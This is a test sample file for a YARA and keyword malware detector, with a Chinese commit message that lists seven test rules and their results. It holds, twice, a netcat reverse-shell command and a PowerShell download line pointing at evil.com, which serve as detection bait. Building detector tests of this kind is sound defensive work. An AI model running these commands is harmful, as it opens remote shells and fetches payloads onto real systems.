tests/samples/L4-004_multi_rule_match.txt

# 同时命中两条规则
nc 192.168.1.100 8888 -e /bin/sh
Invoke-WebRequest -Uri http://evil.com/payload -OutFile evil.exe
feat: YARA .yar 规则自动化生成 + 边界记录验证 rules/test_rules.yar (7 条规则): - Test_ReverseShell_Basic: nc 反弹 shell - Test_PowerShell_Download: Invoke-WebRequest - Newly_Added_Rule_Test: 热加载验证 - Meta_Label_Test: metadata 输出验证 - Regex_Shell_Pattern: powershell -enc 正则 - Count_Condition_Test: count >= 3 条件 - Size_Condition_Test: filesize <= 10KB 条件 YARA 命中验证: 7/7 ✅ L4-001 → Test_ReverseShell_Basic + keywords.ReverseShellNetcat 复合命中 L4-004 → Test_ReverseShell_Basic + Test_PowerShell_Download + 3 条关键词 L4-005/007/010/011/012 → 全部命中 ✅ 边界记录验证: 4/4 ✅ 全 clean L1-005 EICAR 1 字节修改 → ClamAV 不命中 ✅ L1-012 EICAR base64 → ClamAV 不解码 ✅ L3-007 高危串 base64 → 关键词不解码 ✅ L3-019 unicode 同形字 → 关键词不还原 ✅ 2026-10-29 14:16:37 +08:00			`# 同时命中两条规则`
			`nc 192.168.1.100 8888 -e /bin/sh`
			`Invoke-WebRequest -Uri http://evil.com/payload -OutFile evil.exe`